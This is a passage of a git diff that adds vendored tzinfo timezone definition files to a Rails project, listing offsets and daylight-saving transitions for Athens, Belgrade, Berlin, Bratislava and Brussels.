:o6, 1414285200 + tz.transition 2015, 3, :o5, 1427590800 + tz.transition 2015, 10, :o6, 1445734800 + tz.transition 2016, 3, :o5, 1459040400 + tz.transition 2016, 10, :o6, 1477789200 + tz.transition 2017, 3, :o5, 1490490000 + tz.transition 2017, 10, :o6, 1509238800 + tz.transition 2018, 3, :o5, 1521939600 + tz.transition 2018, 10, :o6, 1540688400 + tz.transition 2019, 3, :o5, 1553994000 + tz.transition 2019, 10, :o6, 1572138000 + tz.transition 2020, 3, :o5, 1585443600 + tz.transition 2020, 10, :o6, 1603587600 + tz.transition 2021, 3, :o5, 1616893200 + tz.transition 2021, 10, :o6, 1635642000 + tz.transition 2022, 3, :o5, 1648342800 + tz.transition 2022, 10, :o6, 1667091600 + tz.transition 2023, 3, :o5, 1679792400 + tz.transition 2023, 10, :o6, 1698541200 + tz.transition 2024, 3, :o5, 1711846800 + tz.transition 2024, 10, :o6, 1729990800 + tz.transition 2025, 3, :o5, 1743296400 + tz.transition 2025, 10, :o6, 1761440400 + tz.transition 2026, 3, :o5, 1774746000 + tz.transition 2026, 10, :o6, 1792890000 + tz.transition 2027, 3, :o5, 1806195600 + tz.transition 2027, 10, :o6, 1824944400 + tz.transition 2028, 3, :o5, 1837645200 + tz.transition 2028, 10, :o6, 1856394000 + tz.transition 2029, 3, :o5, 1869094800 + tz.transition 2029, 10, :o6, 1887843600 + tz.transition 2030, 3, :o5, 1901149200 + tz.transition 2030, 10, :o6, 1919293200 + tz.transition 2031, 3, :o5, 1932598800 + tz.transition 2031, 10, :o6, 1950742800 + tz.transition 2032, 3, :o5, 1964048400 + tz.transition 2032, 10, :o6, 1982797200 + tz.transition 2033, 3, :o5, 1995498000 + tz.transition 2033, 10, :o6, 2014246800 + tz.transition 2034, 3, :o5, 2026947600 + tz.transition 2034, 10, :o6, 2045696400 + tz.transition 2035, 3, :o5, 2058397200 + tz.transition 2035, 10, :o6, 2077146000 + tz.transition 2036, 3, :o5, 2090451600 + tz.transition 2036, 10, :o6, 2108595600 + tz.transition 2037, 3, :o5, 2121901200 + tz.transition 2037, 10, :o6, 2140045200 + tz.transition 2038, 3, :o5, 59172253, 24 + tz.transition 2038, 10, :o6, 59177461, 24 + tz.transition 2039, 3, :o5, 59180989, 24 + tz.transition 2039, 10, :o6, 59186197, 24 + tz.transition 2040, 3, :o5, 59189725, 24 + tz.transition 2040, 10, :o6, 59194933, 24 + tz.transition 2041, 3, :o5, 59198629, 24 + tz.transition 2041, 10, :o6, 59203669, 24 + tz.transition 2042, 3, :o5, 59207365, 24 + tz.transition 2042, 10, :o6, 59212405, 24 + tz.transition 2043, 3, :o5, 59216101, 24 + tz.transition 2043, 10, :o6, 59221141, 24 + tz.transition 2044, 3, :o5, 59224837, 24 + tz.transition 2044, 10, :o6, 59230045, 24 + tz.transition 2045, 3, :o5, 59233573, 24 + tz.transition 2045, 10, :o6, 59238781, 24 + tz.transition 2046, 3, :o5, 59242309, 24 + tz.transition 2046, 10, :o6, 59247517, 24 + tz.transition 2047, 3, :o5, 59251213, 24 + tz.transition 2047, 10, :o6, 59256253, 24 + tz.transition 2048, 3, :o5, 59259949, 24 + tz.transition 2048, 10, :o6, 59264989, 24 + tz.transition 2049, 3, :o5, 59268685, 24 + tz.transition 2049, 10, :o6, 59273893, 24 + tz.transition 2050, 3, :o5, 59277421, 24 + tz.transition 2050, 10, :o6, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Athens.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Athens.rb new file mode 100644 index 00000000..4e21e535 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Athens.rb @@ -0,0 +1,185 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Athens + include TimezoneDefinition + + timezone 'Europe/Athens' do |tz| + tz.offset :o0, 5692, 0, :LMT + tz.offset :o1, 5692, 0, :AMT + tz.offset :o2, 7200, 0, :EET + tz.offset :o3, 7200, 3600, :EEST + tz.offset :o4, 3600, 3600, :CEST + tz.offset :o5, 3600, 0, :CET + + tz.transition 1895, 9, :o1, 52130529377, 21600 + tz.transition 1916, 7, :o2, 3268447787, 1350 + tz.transition 1932, 7, :o3, 29122745, 12 + tz.transition 1932, 8, :o2, 19415611, 8 + tz.transition 1941, 4, :o3, 29161097, 12 + tz.transition 1941, 4, :o4, 19440915, 8 + tz.transition 1942, 11, :o5, 58335973, 24 + tz.transition 1943, 3, :o4, 58339523, 24 + tz.transition 1943, 10, :o5, 29172017, 12 + tz.transition 1944, 4, :o2, 58348427, 24 + tz.transition 1952, 6, :o3, 29210333, 12 + tz.transition 1952, 11, :o2, 19474547, 8 + tz.transition 1975, 4, :o3, 166485600 + tz.transition 1975, 11, :o2, 186184800 + tz.transition 1976, 4, :o3, 198028800 + tz.transition 1976, 10, :o2, 213753600 + tz.transition 1977, 4, :o3, 228873600 + tz.transition 1977, 9, :o2, 244080000 + tz.transition 1978, 4, :o3, 260323200 + tz.transition 1978, 9, :o2, 275446800 + tz.transition 1979, 4, :o3, 291798000 + tz.transition 1979, 9, :o2, 307407600 + tz.transition 1980, 3, :o3, 323388000 + tz.transition 1980, 9, :o2, 338936400 + tz.transition 1981, 3, :o3, 354675600 + tz.transition 1981, 9, :o2, 370400400 + tz.transition 1982, 3, :o3, 386125200 + tz.transition 1982, 9, :o2, 401850000 + tz.transition 1983, 3, :o3, 417574800 + tz.transition 1983, 9, :o2, 433299600 + tz.transition 1984, 3, :o3, 449024400 + tz.transition 1984, 9, :o2, 465354000 + tz.transition 1985, 3, :o3, 481078800 + tz.transition 1985, 9, :o2, 496803600 + tz.transition 1986, 3, :o3, 512528400 + tz.transition 1986, 9, :o2, 528253200 + tz.transition 1987, 3, :o3, 543978000 + tz.transition 1987, 9, :o2, 559702800 + tz.transition 1988, 3, :o3, 575427600 + tz.transition 1988, 9, :o2, 591152400 + tz.transition 1989, 3, :o3, 606877200 + tz.transition 1989, 9, :o2, 622602000 + tz.transition 1990, 3, :o3, 638326800 + tz.transition 1990, 9, :o2, 654656400 + tz.transition 1991, 3, :o3, 670381200 + tz.transition 1991, 9, :o2, 686106000 + tz.transition 1992, 3, :o3, 701830800 + tz.transition 1992, 9, :o2, 717555600 + tz.transition 1993, 3, :o3, 733280400 + tz.transition 1993, 9, :o2, 749005200 + tz.transition 1994, 3, :o3, 764730000 + tz.transition 1994, 9, :o2, 780454800 + tz.transition 1995, 3, :o3, 796179600 + tz.transition 1995, 9, :o2, 811904400 + tz.transition 1996, 3, :o3, 828234000 + tz.transition 1996, 10, :o2, 846378000 + tz.transition 1997, 3, :o3, 859683600 + tz.transition 1997, 10, :o2, 877827600 + tz.transition 1998, 3, :o3, 891133200 + tz.transition 1998, 10, :o2, 909277200 + tz.transition 1999, 3, :o3, 922582800 + tz.transition 1999, 10, :o2, 941331600 + tz.transition 2000, 3, :o3, 954032400 + tz.transition 2000, 10, :o2, 972781200 + tz.transition 2001, 3, :o3, 985482000 + tz.transition 2001, 10, :o2, 1004230800 + tz.transition 2002, 3, :o3, 1017536400 + tz.transition 2002, 10, :o2, 1035680400 + tz.transition 2003, 3, :o3, 1048986000 + tz.transition 2003, 10, :o2, 1067130000 + tz.transition 2004, 3, :o3, 1080435600 + tz.transition 2004, 10, :o2, 1099184400 + tz.transition 2005, 3, :o3, 1111885200 + tz.transition 2005, 10, :o2, 1130634000 + tz.transition 2006, 3, :o3, 1143334800 + tz.transition 2006, 10, :o2, 1162083600 + tz.transition 2007, 3, :o3, 1174784400 + tz.transition 2007, 10, :o2, 1193533200 + tz.transition 2008, 3, :o3, 1206838800 + tz.transition 2008, 10, :o2, 1224982800 + tz.transition 2009, 3, :o3, 1238288400 + tz.transition 2009, 10, :o2, 1256432400 + tz.transition 2010, 3, :o3, 1269738000 + tz.transition 2010, 10, :o2, 1288486800 + tz.transition 2011, 3, :o3, 1301187600 + tz.transition 2011, 10, :o2, 1319936400 + tz.transition 2012, 3, :o3, 1332637200 + tz.transition 2012, 10, :o2, 1351386000 + tz.transition 2013, 3, :o3, 1364691600 + tz.transition 2013, 10, :o2, 1382835600 + tz.transition 2014, 3, :o3, 1396141200 + tz.transition 2014, 10, :o2, 1414285200 + tz.transition 2015, 3, :o3, 1427590800 + tz.transition 2015, 10, :o2, 1445734800 + tz.transition 2016, 3, :o3, 1459040400 + tz.transition 2016, 10, :o2, 1477789200 + tz.transition 2017, 3, :o3, 1490490000 + tz.transition 2017, 10, :o2, 1509238800 + tz.transition 2018, 3, :o3, 1521939600 + tz.transition 2018, 10, :o2, 1540688400 + tz.transition 2019, 3, :o3, 1553994000 + tz.transition 2019, 10, :o2, 1572138000 + tz.transition 2020, 3, :o3, 1585443600 + tz.transition 2020, 10, :o2, 1603587600 + tz.transition 2021, 3, :o3, 1616893200 + tz.transition 2021, 10, :o2, 1635642000 + tz.transition 2022, 3, :o3, 1648342800 + tz.transition 2022, 10, :o2, 1667091600 + tz.transition 2023, 3, :o3, 1679792400 + tz.transition 2023, 10, :o2, 1698541200 + tz.transition 2024, 3, :o3, 1711846800 + tz.transition 2024, 10, :o2, 1729990800 + tz.transition 2025, 3, :o3, 1743296400 + tz.transition 2025, 10, :o2, 1761440400 + tz.transition 2026, 3, :o3, 1774746000 + tz.transition 2026, 10, :o2, 1792890000 + tz.transition 2027, 3, :o3, 1806195600 + tz.transition 2027, 10, :o2, 1824944400 + tz.transition 2028, 3, :o3, 1837645200 + tz.transition 2028, 10, :o2, 1856394000 + tz.transition 2029, 3, :o3, 1869094800 + tz.transition 2029, 10, :o2, 1887843600 + tz.transition 2030, 3, :o3, 1901149200 + tz.transition 2030, 10, :o2, 1919293200 + tz.transition 2031, 3, :o3, 1932598800 + tz.transition 2031, 10, :o2, 1950742800 + tz.transition 2032, 3, :o3, 1964048400 + tz.transition 2032, 10, :o2, 1982797200 + tz.transition 2033, 3, :o3, 1995498000 + tz.transition 2033, 10, :o2, 2014246800 + tz.transition 2034, 3, :o3, 2026947600 + tz.transition 2034, 10, :o2, 2045696400 + tz.transition 2035, 3, :o3, 2058397200 + tz.transition 2035, 10, :o2, 2077146000 + tz.transition 2036, 3, :o3, 2090451600 + tz.transition 2036, 10, :o2, 2108595600 + tz.transition 2037, 3, :o3, 2121901200 + tz.transition 2037, 10, :o2, 2140045200 + tz.transition 2038, 3, :o3, 59172253, 24 + tz.transition 2038, 10, :o2, 59177461, 24 + tz.transition 2039, 3, :o3, 59180989, 24 + tz.transition 2039, 10, :o2, 59186197, 24 + tz.transition 2040, 3, :o3, 59189725, 24 + tz.transition 2040, 10, :o2, 59194933, 24 + tz.transition 2041, 3, :o3, 59198629, 24 + tz.transition 2041, 10, :o2, 59203669, 24 + tz.transition 2042, 3, :o3, 59207365, 24 + tz.transition 2042, 10, :o2, 59212405, 24 + tz.transition 2043, 3, :o3, 59216101, 24 + tz.transition 2043, 10, :o2, 59221141, 24 + tz.transition 2044, 3, :o3, 59224837, 24 + tz.transition 2044, 10, :o2, 59230045, 24 + tz.transition 2045, 3, :o3, 59233573, 24 + tz.transition 2045, 10, :o2, 59238781, 24 + tz.transition 2046, 3, :o3, 59242309, 24 + tz.transition 2046, 10, :o2, 59247517, 24 + tz.transition 2047, 3, :o3, 59251213, 24 + tz.transition 2047, 10, :o2, 59256253, 24 + tz.transition 2048, 3, :o3, 59259949, 24 + tz.transition 2048, 10, :o2, 59264989, 24 + tz.transition 2049, 3, :o3, 59268685, 24 + tz.transition 2049, 10, :o2, 59273893, 24 + tz.transition 2050, 3, :o3, 59277421, 24 + tz.transition 2050, 10, :o2, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Belgrade.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Belgrade.rb new file mode 100644 index 00000000..4dbd893d --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Belgrade.rb @@ -0,0 +1,163 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Belgrade + include TimezoneDefinition + + timezone 'Europe/Belgrade' do |tz| + tz.offset :o0, 4920, 0, :LMT + tz.offset :o1, 3600, 0, :CET + tz.offset :o2, 3600, 3600, :CEST + + tz.transition 1883, 12, :o1, 1734607039, 720 + tz.transition 1941, 4, :o2, 29161241, 12 + tz.transition 1942, 11, :o1, 58335973, 24 + tz.transition 1943, 3, :o2, 58339501, 24 + tz.transition 1943, 10, :o1, 58344037, 24 + tz.transition 1944, 4, :o2, 58348405, 24 + tz.transition 1944, 10, :o1, 58352773, 24 + tz.transition 1945, 5, :o2, 58358005, 24 + tz.transition 1945, 9, :o1, 58361149, 24 + tz.transition 1983, 3, :o2, 417574800 + tz.transition 1983, 9, :o1, 433299600 + tz.transition 1984, 3, :o2, 449024400 + tz.transition 1984, 9, :o1, 465354000 + tz.transition 1985, 3, :o2, 481078800 + tz.transition 1985, 9, :o1, 496803600 + tz.transition 1986, 3, :o2, 512528400 + tz.transition 1986, 9, :o1, 528253200 + tz.transition 1987, 3, :o2, 543978000 + tz.transition 1987, 9, :o1, 559702800 + tz.transition 1988, 3, :o2, 575427600 + tz.transition 1988, 9, :o1, 591152400 + tz.transition 1989, 3, :o2, 606877200 + tz.transition 1989, 9, :o1, 622602000 + tz.transition 1990, 3, :o2, 638326800 + tz.transition 1990, 9, :o1, 654656400 + tz.transition 1991, 3, :o2, 670381200 + tz.transition 1991, 9, :o1, 686106000 + tz.transition 1992, 3, :o2, 701830800 + tz.transition 1992, 9, :o1, 717555600 + tz.transition 1993, 3, :o2, 733280400 + tz.transition 1993, 9, :o1, 749005200 + tz.transition 1994, 3, :o2, 764730000 + tz.transition 1994, 9, :o1, 780454800 + tz.transition 1995, 3, :o2, 796179600 + tz.transition 1995, 9, :o1, 811904400 + tz.transition 1996, 3, :o2, 828234000 + tz.transition 1996, 10, :o1, 846378000 + tz.transition 1997, 3, :o2, 859683600 + tz.transition 1997, 10, :o1, 877827600 + tz.transition 1998, 3, :o2, 891133200 + tz.transition 1998, 10, :o1, 909277200 + tz.transition 1999, 3, :o2, 922582800 + tz.transition 1999, 10, :o1, 941331600 + tz.transition 2000, 3, :o2, 954032400 + tz.transition 2000, 10, :o1, 972781200 + tz.transition 2001, 3, :o2, 985482000 + tz.transition 2001, 10, :o1, 1004230800 + tz.transition 2002, 3, :o2, 1017536400 + tz.transition 2002, 10, :o1, 1035680400 + tz.transition 2003, 3, :o2, 1048986000 + tz.transition 2003, 10, :o1, 1067130000 + tz.transition 2004, 3, :o2, 1080435600 + tz.transition 2004, 10, :o1, 1099184400 + tz.transition 2005, 3, :o2, 1111885200 + tz.transition 2005, 10, :o1, 1130634000 + tz.transition 2006, 3, :o2, 1143334800 + tz.transition 2006, 10, :o1, 1162083600 + tz.transition 2007, 3, :o2, 1174784400 + tz.transition 2007, 10, :o1, 1193533200 + tz.transition 2008, 3, :o2, 1206838800 + tz.transition 2008, 10, :o1, 1224982800 + tz.transition 2009, 3, :o2, 1238288400 + tz.transition 2009, 10, :o1, 1256432400 + tz.transition 2010, 3, :o2, 1269738000 + tz.transition 2010, 10, :o1, 1288486800 + tz.transition 2011, 3, :o2, 1301187600 + tz.transition 2011, 10, :o1, 1319936400 + tz.transition 2012, 3, :o2, 1332637200 + tz.transition 2012, 10, :o1, 1351386000 + tz.transition 2013, 3, :o2, 1364691600 + tz.transition 2013, 10, :o1, 1382835600 + tz.transition 2014, 3, :o2, 1396141200 + tz.transition 2014, 10, :o1, 1414285200 + tz.transition 2015, 3, :o2, 1427590800 + tz.transition 2015, 10, :o1, 1445734800 + tz.transition 2016, 3, :o2, 1459040400 + tz.transition 2016, 10, :o1, 1477789200 + tz.transition 2017, 3, :o2, 1490490000 + tz.transition 2017, 10, :o1, 1509238800 + tz.transition 2018, 3, :o2, 1521939600 + tz.transition 2018, 10, :o1, 1540688400 + tz.transition 2019, 3, :o2, 1553994000 + tz.transition 2019, 10, :o1, 1572138000 + tz.transition 2020, 3, :o2, 1585443600 + tz.transition 2020, 10, :o1, 1603587600 + tz.transition 2021, 3, :o2, 1616893200 + tz.transition 2021, 10, :o1, 1635642000 + tz.transition 2022, 3, :o2, 1648342800 + tz.transition 2022, 10, :o1, 1667091600 + tz.transition 2023, 3, :o2, 1679792400 + tz.transition 2023, 10, :o1, 1698541200 + tz.transition 2024, 3, :o2, 1711846800 + tz.transition 2024, 10, :o1, 1729990800 + tz.transition 2025, 3, :o2, 1743296400 + tz.transition 2025, 10, :o1, 1761440400 + tz.transition 2026, 3, :o2, 1774746000 + tz.transition 2026, 10, :o1, 1792890000 + tz.transition 2027, 3, :o2, 1806195600 + tz.transition 2027, 10, :o1, 1824944400 + tz.transition 2028, 3, :o2, 1837645200 + tz.transition 2028, 10, :o1, 1856394000 + tz.transition 2029, 3, :o2, 1869094800 + tz.transition 2029, 10, :o1, 1887843600 + tz.transition 2030, 3, :o2, 1901149200 + tz.transition 2030, 10, :o1, 1919293200 + tz.transition 2031, 3, :o2, 1932598800 + tz.transition 2031, 10, :o1, 1950742800 + tz.transition 2032, 3, :o2, 1964048400 + tz.transition 2032, 10, :o1, 1982797200 + tz.transition 2033, 3, :o2, 1995498000 + tz.transition 2033, 10, :o1, 2014246800 + tz.transition 2034, 3, :o2, 2026947600 + tz.transition 2034, 10, :o1, 2045696400 + tz.transition 2035, 3, :o2, 2058397200 + tz.transition 2035, 10, :o1, 2077146000 + tz.transition 2036, 3, :o2, 2090451600 + tz.transition 2036, 10, :o1, 2108595600 + tz.transition 2037, 3, :o2, 2121901200 + tz.transition 2037, 10, :o1, 2140045200 + tz.transition 2038, 3, :o2, 59172253, 24 + tz.transition 2038, 10, :o1, 59177461, 24 + tz.transition 2039, 3, :o2, 59180989, 24 + tz.transition 2039, 10, :o1, 59186197, 24 + tz.transition 2040, 3, :o2, 59189725, 24 + tz.transition 2040, 10, :o1, 59194933, 24 + tz.transition 2041, 3, :o2, 59198629, 24 + tz.transition 2041, 10, :o1, 59203669, 24 + tz.transition 2042, 3, :o2, 59207365, 24 + tz.transition 2042, 10, :o1, 59212405, 24 + tz.transition 2043, 3, :o2, 59216101, 24 + tz.transition 2043, 10, :o1, 59221141, 24 + tz.transition 2044, 3, :o2, 59224837, 24 + tz.transition 2044, 10, :o1, 59230045, 24 + tz.transition 2045, 3, :o2, 59233573, 24 + tz.transition 2045, 10, :o1, 59238781, 24 + tz.transition 2046, 3, :o2, 59242309, 24 + tz.transition 2046, 10, :o1, 59247517, 24 + tz.transition 2047, 3, :o2, 59251213, 24 + tz.transition 2047, 10, :o1, 59256253, 24 + tz.transition 2048, 3, :o2, 59259949, 24 + tz.transition 2048, 10, :o1, 59264989, 24 + tz.transition 2049, 3, :o2, 59268685, 24 + tz.transition 2049, 10, :o1, 59273893, 24 + tz.transition 2050, 3, :o2, 59277421, 24 + tz.transition 2050, 10, :o1, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Berlin.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Berlin.rb new file mode 100644 index 00000000..72105423 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Berlin.rb @@ -0,0 +1,188 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Berlin + include TimezoneDefinition + + timezone 'Europe/Berlin' do |tz| + tz.offset :o0, 3208, 0, :LMT + tz.offset :o1, 3600, 0, :CET + tz.offset :o2, 3600, 3600, :CEST + tz.offset :o3, 3600, 7200, :CEMT + + tz.transition 1893, 3, :o1, 26055588199, 10800 + tz.transition 1916, 4, :o2, 29051813, 12 + tz.transition 1916, 9, :o1, 58107299, 24 + tz.transition 1917, 4, :o2, 58112029, 24 + tz.transition 1917, 9, :o1, 58115725, 24 + tz.transition 1918, 4, :o2, 58120765, 24 + tz.transition 1918, 9, :o1, 58124461, 24 + tz.transition 1940, 4, :o2, 58313293, 24 + tz.transition 1942, 11, :o1, 58335973, 24 + tz.transition 1943, 3, :o2, 58339501, 24 + tz.transition 1943, 10, :o1, 58344037, 24 + tz.transition 1944, 4, :o2, 58348405, 24 + tz.transition 1944, 10, :o1, 58352773, 24 + tz.transition 1945, 4, :o2, 58357141, 24 + tz.transition 1945, 5, :o3, 4863199, 2 + tz.transition 1945, 9, :o2, 4863445, 2 + tz.transition 1945, 11, :o1, 58362661, 24 + tz.transition 1946, 4, :o2, 58366189, 24 + tz.transition 1946, 10, :o1, 58370413, 24 + tz.transition 1947, 4, :o2, 29187379, 12 + tz.transition 1947, 5, :o3, 58375597, 24 + tz.transition 1947, 6, :o2, 4864731, 2 + tz.transition 1947, 10, :o1, 58379125, 24 + tz.transition 1948, 4, :o2, 58383829, 24 + tz.transition 1948, 10, :o1, 58387861, 24 + tz.transition 1949, 4, :o2, 58392397, 24 + tz.transition 1949, 10, :o1, 58396597, 24 + tz.transition 1980, 4, :o2, 323830800 + tz.transition 1980, 9, :o1, 338950800 + tz.transition 1981, 3, :o2, 354675600 + tz.transition 1981, 9, :o1, 370400400 + tz.transition 1982, 3, :o2, 386125200 + tz.transition 1982, 9, :o1, 401850000 + tz.transition 1983, 3, :o2, 417574800 + tz.transition 1983, 9, :o1, 433299600 + tz.transition 1984, 3, :o2, 449024400 + tz.transition 1984, 9, :o1, 465354000 + tz.transition 1985, 3, :o2, 481078800 + tz.transition 1985, 9, :o1, 496803600 + tz.transition 1986, 3, :o2, 512528400 + tz.transition 1986, 9, :o1, 528253200 + tz.transition 1987, 3, :o2, 543978000 + tz.transition 1987, 9, :o1, 559702800 + tz.transition 1988, 3, :o2, 575427600 + tz.transition 1988, 9, :o1, 591152400 + tz.transition 1989, 3, :o2, 606877200 + tz.transition 1989, 9, :o1, 622602000 + tz.transition 1990, 3, :o2, 638326800 + tz.transition 1990, 9, :o1, 654656400 + tz.transition 1991, 3, :o2, 670381200 + tz.transition 1991, 9, :o1, 686106000 + tz.transition 1992, 3, :o2, 701830800 + tz.transition 1992, 9, :o1, 717555600 + tz.transition 1993, 3, :o2, 733280400 + tz.transition 1993, 9, :o1, 749005200 + tz.transition 1994, 3, :o2, 764730000 + tz.transition 1994, 9, :o1, 780454800 + tz.transition 1995, 3, :o2, 796179600 + tz.transition 1995, 9, :o1, 811904400 + tz.transition 1996, 3, :o2, 828234000 + tz.transition 1996, 10, :o1, 846378000 + tz.transition 1997, 3, :o2, 859683600 + tz.transition 1997, 10, :o1, 877827600 + tz.transition 1998, 3, :o2, 891133200 + tz.transition 1998, 10, :o1, 909277200 + tz.transition 1999, 3, :o2, 922582800 + tz.transition 1999, 10, :o1, 941331600 + tz.transition 2000, 3, :o2, 954032400 + tz.transition 2000, 10, :o1, 972781200 + tz.transition 2001, 3, :o2, 985482000 + tz.transition 2001, 10, :o1, 1004230800 + tz.transition 2002, 3, :o2, 1017536400 + tz.transition 2002, 10, :o1, 1035680400 + tz.transition 2003, 3, :o2, 1048986000 + tz.transition 2003, 10, :o1, 1067130000 + tz.transition 2004, 3, :o2, 1080435600 + tz.transition 2004, 10, :o1, 1099184400 + tz.transition 2005, 3, :o2, 1111885200 + tz.transition 2005, 10, :o1, 1130634000 + tz.transition 2006, 3, :o2, 1143334800 + tz.transition 2006, 10, :o1, 1162083600 + tz.transition 2007, 3, :o2, 1174784400 + tz.transition 2007, 10, :o1, 1193533200 + tz.transition 2008, 3, :o2, 1206838800 + tz.transition 2008, 10, :o1, 1224982800 + tz.transition 2009, 3, :o2, 1238288400 + tz.transition 2009, 10, :o1, 1256432400 + tz.transition 2010, 3, :o2, 1269738000 + tz.transition 2010, 10, :o1, 1288486800 + tz.transition 2011, 3, :o2, 1301187600 + tz.transition 2011, 10, :o1, 1319936400 + tz.transition 2012, 3, :o2, 1332637200 + tz.transition 2012, 10, :o1, 1351386000 + tz.transition 2013, 3, :o2, 1364691600 + tz.transition 2013, 10, :o1, 1382835600 + tz.transition 2014, 3, :o2, 1396141200 + tz.transition 2014, 10, :o1, 1414285200 + tz.transition 2015, 3, :o2, 1427590800 + tz.transition 2015, 10, :o1, 1445734800 + tz.transition 2016, 3, :o2, 1459040400 + tz.transition 2016, 10, :o1, 1477789200 + tz.transition 2017, 3, :o2, 1490490000 + tz.transition 2017, 10, :o1, 1509238800 + tz.transition 2018, 3, :o2, 1521939600 + tz.transition 2018, 10, :o1, 1540688400 + tz.transition 2019, 3, :o2, 1553994000 + tz.transition 2019, 10, :o1, 1572138000 + tz.transition 2020, 3, :o2, 1585443600 + tz.transition 2020, 10, :o1, 1603587600 + tz.transition 2021, 3, :o2, 1616893200 + tz.transition 2021, 10, :o1, 1635642000 + tz.transition 2022, 3, :o2, 1648342800 + tz.transition 2022, 10, :o1, 1667091600 + tz.transition 2023, 3, :o2, 1679792400 + tz.transition 2023, 10, :o1, 1698541200 + tz.transition 2024, 3, :o2, 1711846800 + tz.transition 2024, 10, :o1, 1729990800 + tz.transition 2025, 3, :o2, 1743296400 + tz.transition 2025, 10, :o1, 1761440400 + tz.transition 2026, 3, :o2, 1774746000 + tz.transition 2026, 10, :o1, 1792890000 + tz.transition 2027, 3, :o2, 1806195600 + tz.transition 2027, 10, :o1, 1824944400 + tz.transition 2028, 3, :o2, 1837645200 + tz.transition 2028, 10, :o1, 1856394000 + tz.transition 2029, 3, :o2, 1869094800 + tz.transition 2029, 10, :o1, 1887843600 + tz.transition 2030, 3, :o2, 1901149200 + tz.transition 2030, 10, :o1, 1919293200 + tz.transition 2031, 3, :o2, 1932598800 + tz.transition 2031, 10, :o1, 1950742800 + tz.transition 2032, 3, :o2, 1964048400 + tz.transition 2032, 10, :o1, 1982797200 + tz.transition 2033, 3, :o2, 1995498000 + tz.transition 2033, 10, :o1, 2014246800 + tz.transition 2034, 3, :o2, 2026947600 + tz.transition 2034, 10, :o1, 2045696400 + tz.transition 2035, 3, :o2, 2058397200 + tz.transition 2035, 10, :o1, 2077146000 + tz.transition 2036, 3, :o2, 2090451600 + tz.transition 2036, 10, :o1, 2108595600 + tz.transition 2037, 3, :o2, 2121901200 + tz.transition 2037, 10, :o1, 2140045200 + tz.transition 2038, 3, :o2, 59172253, 24 + tz.transition 2038, 10, :o1, 59177461, 24 + tz.transition 2039, 3, :o2, 59180989, 24 + tz.transition 2039, 10, :o1, 59186197, 24 + tz.transition 2040, 3, :o2, 59189725, 24 + tz.transition 2040, 10, :o1, 59194933, 24 + tz.transition 2041, 3, :o2, 59198629, 24 + tz.transition 2041, 10, :o1, 59203669, 24 + tz.transition 2042, 3, :o2, 59207365, 24 + tz.transition 2042, 10, :o1, 59212405, 24 + tz.transition 2043, 3, :o2, 59216101, 24 + tz.transition 2043, 10, :o1, 59221141, 24 + tz.transition 2044, 3, :o2, 59224837, 24 + tz.transition 2044, 10, :o1, 59230045, 24 + tz.transition 2045, 3, :o2, 59233573, 24 + tz.transition 2045, 10, :o1, 59238781, 24 + tz.transition 2046, 3, :o2, 59242309, 24 + tz.transition 2046, 10, :o1, 59247517, 24 + tz.transition 2047, 3, :o2, 59251213, 24 + tz.transition 2047, 10, :o1, 59256253, 24 + tz.transition 2048, 3, :o2, 59259949, 24 + tz.transition 2048, 10, :o1, 59264989, 24 + tz.transition 2049, 3, :o2, 59268685, 24 + tz.transition 2049, 10, :o1, 59273893, 24 + tz.transition 2050, 3, :o2, 59277421, 24 + tz.transition 2050, 10, :o1, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bratislava.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bratislava.rb new file mode 100644 index 00000000..7a731a0b --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bratislava.rb @@ -0,0 +1,13 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Bratislava + include TimezoneDefinition + + linked_timezone 'Europe/Bratislava', 'Europe/Prague' + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Brussels.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Brussels.rb new file mode 100644 index 00000000..6b0a2429 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Brussels.rb @@ -0,0 +1,232 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Brussels + include TimezoneDefinition + + timezone 'Europe/Brussels' do |tz| + tz.offset :o0, 1050, 0, :LMT + tz.offset :o1, 1050, 0, :BMT + tz.offset :o2, 0, 0, :WET + tz.offset :o3, 3600, 0, :CET + tz.offset :o4, 3600, 3600, :CEST + tz.offset :o5, 0, 3600, :WEST + + tz.transition 1879, 12, :o1, 1386844121, 576 + tz.transition 1892, 5, :o2, 1389438713, 576 + tz.transition 1914, 11, :o3, 4840889, 2 + tz.transition 1916, 4, :o4, 58103627, 24 + tz.transition 1916, 9, :o3, 58107299, 24 + tz.transition 1917, 4, :o4, 58112029, 24 + tz.transition 1917, 9, :o3, 58115725, 24 + tz.transition 1918, 4, :o4, 58120765, 24 + 